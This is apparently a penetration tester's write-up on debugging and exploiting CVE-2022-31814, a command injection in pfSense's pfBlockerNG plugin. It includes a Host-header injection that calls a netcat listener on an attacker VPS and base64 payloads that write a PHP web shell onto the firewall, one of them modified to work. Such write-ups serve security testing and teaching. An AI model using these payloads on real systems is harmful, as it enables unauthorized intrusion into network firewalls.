Greetings everyone, In this write-up, we will be exploring the interesting exploitation that has been done against the pfsense CVE-2022-31814.
What is pfsense?
pfSense software is a FreeBSD-based operating system designed to install and configure a firewall that can be easily configured via the web interface and installed on any PC. With all of the enterprise-grade features and security that pfSense® software offers, it’s hard to believe that it’s a free and open-source solution.
Reference: https://www.zenarmor.com/docs/network-security-tutorials/pfsense
Identification of vulnerability:
While performing a security audit of the application, we came up with an interesting pfsense application.
The web application was protected with login. Initially, we just checked for the default credentials which are Username: admin, and Password: pfsense but none of them worked
Upon digging on Google we came to know /pfblockerng/www/index.php was installed on the web application and we got 200 OK status codes.
Once this was confirmed we were presented an exploit against pfblockerNG on exploit-db: https://www.exploit-db.com/exploits/51032
Running the exploit against the target server resulted in an exploit failure and we got the error as seen in the screenshot below:
It was strange the application was running pfblockerNG but still, the exploit failed.
PfBlockerNG Exploitation:
Since the exploit from exploit-db failed, it was time to debug what’s the actual root cause and why the exploit was failing. To first test this we understood the payload and changed it to sleep just to check if we are able to execute the command or not. Sleep commands with 10, 20 and 30 were tried just to check if the application was delaying the response. For that below are the curl commands that were used:
The sleep commands were working fine as we confirmed the delay in the response, this also confirmed the remote code execution on the targeted server but the exploit wasn’t working. Just to confirm once again we tried a few of the exploits from the community few of them are:
- https://github.com/dkstar11q/CVE-2022-31814
- https://www.exploit-db.com/exploits/51032
- https://github.com/EvergreenCartoons/SenselessViolence
- https://packetstormsecurity.com/files/168743/pfSense-pfBlockerNG-2.1.4_26-Shell-Upload.html
And yes none of the exploit worked and there was no shell.
Next, we tried to check using the Netcat, just to see if we were getting connections on the attacker’s machine. On VPS we just used nc -lnvp 8080 Following is the payload used in the HOST header of the curl command:
Host: ' *; nc VPS_IP 8080 ; '
After we ran the curl command with the Netcat payload we received the connection on the VPS server.
We tried to take a reverse shell using the Netcat -e program argument but it wasn’t successful as well.
CVE-2022-31814 Exploit Debugging
It was very curious for us that the sleep command was working and Netcat was working but we were still not able to get the reverse shell on the machine. To further identify what could be the root cause of the problem, we start looking into the exploit code itself.
The exploit in the source code looks like this:
"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"
If we just base64 decode the string, we will get the value as:
<?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>
Now there could be a couple of scenarios that could be the reason of the failure of the exploit. A few of them could be:
- It could either be a different version of Python installed on the machine
- There could be different PHP versions installed on the machine
- There could be a problem in the code itself (but that was not the case)
After trying all of the possible cases, we came to know the root cause of the exploit failure and it was:
- Python3.8 wasn’t installed on the machine, it was python2
- The
“print”in the PHP exploit code wasn’t working so we replaced it with“echo”
After these changes, we created a new payload for the exploit and it looked like this:
'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKHBhc3N0aHJ1KCAkX0dFVFsiYyJdKSk7Pz4nO2Z3cml0ZSgkYSwkdCk7ZmNsb3NlKCAkYSk7Pz4='|python2 -m base64 -d | php; '"
Finally, the shell was uploaded to the server and we were able to execute commands 🙂
As we know all of the exploits on the internet failed because there were different Python versions and as well as PHP versions being used on the targeted domain and none of the public exploits test for such cases.
To help and contribute to the community we wrote an updated version of the exploited CVE-2022-31814 that tests all the possible cases of the exploitation. The exploit code can be found here:
https://github.com/Laburity/CVE-2022-31814
Credits and inspiration (IHTeam for the initial exploit and concept)
Updated Exploit Flow:
The updated exploit used multiple payloads that utilised different Python, PHP and code change versions, if one of the exploits fails it can try another one automatically. The execution of the script can be seen:
Conclusions
While performing a penetration test, it is very important to understand how the application is behaving. Instead of falling into the rabbit holes we can always go back and try out the small actions to confirm the vulnerability. Further, it is very important to understand that every environment is different and every developer’s approach is different and they can always follow different paths and ways to configure the applications. It’s obvious that while performing pen-tests, we have to understand how the applications are configured and try exploitation accordingly.
